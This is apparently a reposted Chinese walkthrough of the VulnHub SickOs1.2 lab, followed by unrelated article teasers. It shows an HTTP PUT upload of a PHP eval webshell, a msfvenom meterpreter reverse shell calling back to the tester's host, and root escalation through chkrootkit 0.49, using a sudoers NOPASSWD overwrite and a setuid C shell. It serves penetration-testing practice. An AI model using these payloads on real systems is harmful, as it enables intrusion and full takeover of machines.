vulnhub靶场渗透之SickOs1.2渗透教程(超级详细)

news2024/11/29 5:47:50

vulnhub靶场渗透之SickOs1.2渗透教程目录

0x01靶机概述

0x02靶场环境搭建

0x03靶机信息发现

 0x04渗透靶机

 使用第二种方法:msfvenom生成载荷模块+curl上传至服务器触发

 0x05本地提权

方法一:将当前用户(www-data)加入sudo组

 提权方法二:编写.c提权脚本

 0x06渗透实验总结


0x01靶机概述

靶机基本信息:

靶机下载链接https://www.vulnhub.com/entry/sickos-12,144/
作者D4rk
发布日期2016年4月27日
难度中等

这是SickOs后续系列中的第二个,独立于以前的版本,挑战的范围是在系统上获得最高权限

0x02靶场环境搭建

1、下载靶机并导入vmware

 

 导入ovf到vmware当中

 打开vmware->新建->打开SickOs1.2.ovf

 2、更改靶机网路适配器模式为NAT模式(以便我们找到靶机的IP地址)

 3、开启靶机

0x03靶机信息发现

1.主机发现

arp-scan -l

 2、扫描端口服务信息

   访问80端口,如下图所示

 3、使用dirb挖掘靶机目录,存在test目录

 访问test目录如下图:

 0x04渗透靶机

1、通过前面的靶机信息发现,得出test目录,接下来用nmap脚本扫描test目录

nmap --script http-methods --script-args http-methods.url-path='/test' 192.168.94.160 

 扫描得出支持PUT方法,那么就可以来测试PUT上传

2、使用PUT方法,上传文件至服务器

 3、使用PUT方法上传一句话木马

<?php @eval($_POST[hack]);?>

木马上传成功

4、使用蚁剑进行连接

 

 然后这里发现权限不够

 使用第二种方法:msfvenom生成载荷模块+curl上传至服务器触发

1、使用msfvenom生成攻击载荷模块

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.94.139 lport=443 R >hack_shell.php

 删除木马前面的注释

 删除之后的效果:如下图

 2、使用curl将木马上传至服务器中

curl -v -T php_shell.php  -H 'Expect:' "http://192.168.94.160/test/"

 3、使用msf设置监听

 4、然后点击上传的php_shell.php脚本来触发监听获取shell

 然后我们进入shell

 用python打开一个标准的shell

#这是一个在维持交互式Shell会话时会用到的Python代码片段。在Linux系统中,当一个程序运行在交互式Shell中时,它的标准输入、输出和错误输出通常被重定向到终端。如果您需要在该Shell中执行一些命令或者进行一些与终端相关的操作,则需要将Shell交互模式与终端传递输入关联到一起,以构建一个交互式Shell会话,并且在每次按下回车键时自动发送新的命令。

为了实现这个功能,可以使用pty模块中的spawn函数。该函数可以启动一个新的Shell子进程,并将当前的终端会话作为其控制终端进行添加。这是此Python代码片段的功能,它在内部执行了/bin/bash命令来启动一个新的Shell子进程,并利用pty.spawn()函数将其设置为当前会话的交互式Shell会话。

可以将该代码段复制到Linux系统的终端中,然后按回车键以立即开始Shell会话。然后,您可以在该Shell中执行各种命令或操作,完全与在终端中执行一样。请注意,如果您在维护通过此代码片段启动的Shel会话,始终可以使用exit命令退出该Shell会话。

 但是发现不是root权限

 0x05本地提权

1、查看靶机的版本及内核信息

lsb_release -a

 2、查看使用者的时程表

ls -la /etc/cron*

在/etc/cron.daily目录下发现chkrootkit工具

3、查看chkrootki的版本

 4、在Kali Linux中搜索chkrootkit 0.49版本的漏洞

5、查看提权步骤

cat /usr/share/exploitdb/exploits/linux/local/33899.txt

提权步骤:

1.在/ tmp中放入一个名为’update’的非root所有者的可执行文件。

2.以root身份运行chkrootkit,其文件/ tmp /update将以root身份执行。

如果攻击者知道管理员是定期运行chkrootkit(通过查看cron.daily获知),并且对/tmp(没有挂载noexec)有写访问权限,就可以利用该漏洞获取root权限。


方法一:将当前用户(www-data)加入sudo组

1、在/tmp目录下创建update文件并赋予可执行权限

touch update
chmod +x update

 2、写入将www-date添加到sudo组的命令到update文件中

'chmod +w /etc/sudoers && echo "www-data ALL=(ALL)  NOPASSWD:ALL" > /etc/sudoers' > /tmp/update

 3、查看当前用户可执行的sudo文件

 4、sudo进行提权,成功提权

sudo su root

 提权方法二:编写.c提权脚本

1、编写.c提权脚本

#include<unistd.h>
void main(void)
{
system("chown root:root /tmp/update");
system("chmod 4755 /tmp/update");
setuid(0);
setgid(0);
execl("/bin/sh","sh",NULL);
}


#这是一段C语言程序的代码,它会将/tmp/update文件的所有者和组更改为root,设置setuid和setgid位为0,然后执行/bin/sh。这段代码的目的是使用/tmp/update文件实现以root权限运行shell的目的。

 2、通过curl把文件上传到服务器

curl -v -H 'Expect:' -T shell.c "http://192.168.94.160/test/"

 3、使用gcc编译运行

执行update文件,成功提权如下图

查看/root/目录下的flag文件

 0x06渗透实验总结

1、这个靶场主要考察的是支持http协议,PUT方法等

2、然后就是使用多种反弹shell的方法,不过就是这里设置了规则反弹shell的端口

3、最后就是靶机的提权,多多浏览靶机内的可疑文件,结合exp库来实现最终提权的目的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/590080.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SSM编程---Day 05

目录 一、IOC &#xff08;一&#xff09;企业级系统的特点&#xff1a; &#xff08;二&#xff09;Spring框架的优点&#xff1a; &#xff08;三&#xff09;ApplicationContext的作用&#xff1a; &#xff08;四&#xff09;理解IOC原理、掌握IOC的配置 二、AOP&…

三种快速转换PDF为TXT的方法:简单、高效、免费

如何将PDF转换为TXT文件&#xff1f;在日常生活中&#xff0c;PDF和TXT是常见的文本格式。PDF格式文件具有稳定的布局和易于存储的特点。然而&#xff0c;许多在线下载的电子书通常是以PDF格式提供的&#xff0c;而电子阅读器通常不支持PDF格式&#xff0c;这就导致了无法方便地…

【makefile】顶层Makefile向下层Makefile传递参数

一个项目中为了方便管理&#xff0c;每一个模块都会配一个makefile 以便于管理&#xff0c;我们实际在编译的时候&#xff0c;可能只编译其中某一个模块。偶尔下层的Makefile会需要用到上层Makefile文件中的某一个变量或者函数。 下面主要介绍两种方法&#xff0c;分别使用inc…

Innodb底层原理与Mysql日志机制深入剖析

1.MySQL的内部组件结构 客户端执行sql语句&#xff0c;这时mysql会把sql语句发给server层连接器&#xff0c;连接器通过账号密码端口号进行连接数据库&#xff0c;验证成功后&#xff0c;然后在权限表里查询相应的权限&#xff0c;然后依赖于此时读取权限&#xff0c;连接器把s…

【项目】Q-ROBOT移动机器人设计与开发

本文主要记录Q-ROBOT移动机器人的开发流程~ github: GitHub - Qsx567/SLAMCarProject &#xff08;持续更新中~希望各位铁子走过路过给个小小的star&#xff01;灰常感谢&#xff01;&#xff09; 本项目为我设计的移动SLAM机器人&#xff0c;命名为&#xff1a; Q-Robot 机…

【Python Dash】零基础也能轻松掌握的学习路线与参考资料

Python Dash是一个可视化框架&#xff0c;可以帮助开发者快速构建交互式仪表板和应用程序。它基于Plotly.js库建立&#xff0c;提供了一种易于使用的Python界面&#xff0c;用户可以通过简单的Python代码创建仪表板和应用程序。本篇文章将介绍Python Dash的学习路线&#xff0c…

【学习日记2023.5.30】之 订单处理 订单状态定时处理_来单提醒_用户催单

文章目录 10. 订单处理10.1 Spring Task10.1.1 介绍10.1.2 cron表达式10.1.3 入门案例10.1.3.1 Spring Task使用步骤10.1.3.2 代码开发10.1.3.3 功能测试 10.1.4提交代码 10.2 订单状态定时处理10.2.1 需求分析10.2.2 代码开发10.2.3 功能测试 10.3 WebSocket10.3.1 介绍10.3.2…

互联网产品岗

文章目录 产品岗分类工具类社交类内容类平台类 职级划分工作流程refer: 产品岗分类 注&#xff1a;产品岗的分类并不绝对&#xff0c;因为大部分的产品都有符合属性&#xff0c;这里的分类主要便于理解&#xff08;越写越觉得很多东西没得分&#xff09; 工具类 定义&#x…

MySQL查询当前数据和上一行数据比较、业务数据的趋势分析、数据变动的监控和报警

标题: 使用MySQL查询当前数据和上一行数据比较的场景 在MySQL中&#xff0c;我们经常需要对数据进行比较和分析。其中一种常见的需求是查询数据列表并与前一行的数据进行比较。这种场景可以通过使用窗口函数或连接来实现。本文将介绍使用MySQL查询比较数据和上一行数据的场景&a…

【Unity Shader】Plane实现风格化水

写在前面 长文警告&#xff01;&#xff01;&#xff01;&#xff01;&#xff01; 很久没更新博客了&#xff0c;&#xff0c;这次是要做一个风格化水效果&#xff0c;是基于Plane着色实现水面效果。 项目&#xff1a;Unity 2017.4.40f1 Build-in&#xff0c;因此实现过程会…

ChatGPT vs Google:谁是答案之王?微软揭示未来搜索的样子

已经习惯了网购的你&#xff0c;有没有想过一旦电子商务行业遭受重创&#xff0c;会对我们的日常生活造成什么影响呢&#xff1f; 我们已经习惯了在生活中碰到什么不懂的事情就 Google 一下或者百度一下&#xff0c;甚至许多人的职业都跟 Google 密切相关&#xff0c;比如自媒…

从外包到转岗华为正式员工月薪17K,这一百多天的心酸谁能懂.....

本人毕业于某普通二本院校非计算机专业&#xff0c;跨专业入行测试&#xff0c;至今有近 5年工作经验。 第一份测试工作是在华为做了两年外包。总体感受就是 这份工作缺乏归属感&#xff0c;心里总有一种落差&#xff0c;进步空间不大&#xff0c; 接触不到核心技术&#xf…

跨端框架+小程序容器:一种让App开发提高效率的思路

WePY&#xff08;微信小程序开发框架&#xff09;是一个基于组件化开发思想的微信小程序开发框架。它类似于Vue.js框架&#xff0c;通过封装小程序原生的API&#xff0c;提供了更加简洁、高效的开发方式。 WePY的主要特点包括&#xff1a; 组件化开发&#xff1a;WePY将页面拆…

matplotlib常用功能汇总

文章目录 1.IDE里的1.1 显示模式&#xff08;plt.ion()和plt.ioff()&#xff09;1.2 backend说明 2 jupyter里的3 通用的3.1 cmap3.2 subplot()相关3.3 绘制动态图&#xff08;Animation类&#xff09;3.4 matplotlib利用rcParams配置样式参数 4. 与opencv连用可能遭遇的问题1.…

MySQL_8 相当牛逼的索引机制

目录 一、索引机制的引入 1.索引机制&#x1f402;B在哪里&#xff1f; 2.索引机制提高查询速度的原理 : 二、索引的创建 1.索引分类 : 2.使用格式 : 3.代码演示 : 三、索引的删除 1.格式 : 2.演示 : 四、索引的查询 1.格式 : 2.演示 : 五、索引的使用规则 一、索…

Linux---强制停止、退出登出、history、yum

1. ctrl c 强制停止 Linux某些程序的运行&#xff0c;如果想要强制停止它&#xff0c;可以使用快捷键ctrl c&#xff1a; [shaonianlocalhost ~]$ tail ^C [shaonianlocalhost ~]$ 命令输入错误&#xff0c;也可以通过快捷键ctrl c&#xff0c;退出当前输入&#xff0c;重…

如何在 Alpine Linux 上启用或禁用防火墙?

防火墙是计算机网络安全的重要组成部分&#xff0c;它用于保护计算机和网络免受未经授权的访问和恶意攻击。Alpine Linux 是一种轻量级的 Linux 发行版&#xff0c;常用于构建容器化应用和嵌入式系统。本文将详细介绍如何在 Alpine Linux 上启用或禁用防火墙。步骤 1&#xff1…

MySQL复习

文章目录 1、操作数据库1.1、操作数据库1.2、数据库的数据类型1.3、数据库的字段属性1.4、创建数据表1.5、MyISAM和InnoDB1.6、修改删除表 2、MySQL数据管理2.1、外键2.2、DML语言&#xff08;全部记住&#xff09;2.3、添加2.4、修改2.5、删除 3、DQL查询数据3.1、DQL3.2、查询…

EMPIRE: LUPINONE实战演练

文章目录 EMPIRE: LUPINONE实战演练一、前期准备1、相关信息 二、信息收集1、端口扫描2、访问网站3、查看源码4、dirsearch扫描目录5、访问robots文件6、访问myfiles文件7、模糊测试8、访问秘密文件9、查找秘钥10、查看秘钥11、解码12、解密13、远程连接 三、提权1、查找flag2、…

Unity---委托与事件

目录 1.委托和事件在使用上的区别是什么&#xff1f; 2. delegate委托 2.1示意图 2.2 DelegetTest.cs 2.3 Deleget_A.cs 2.4 Deleget_B.cs 2.5 运行unity. 点击按键 A 2.6 点击按键 B 3.Event 事件 3.1单个通知 3.1.1示意图 3.1.2 Event_Test.cs 3.1.3 Event_A.cs 3…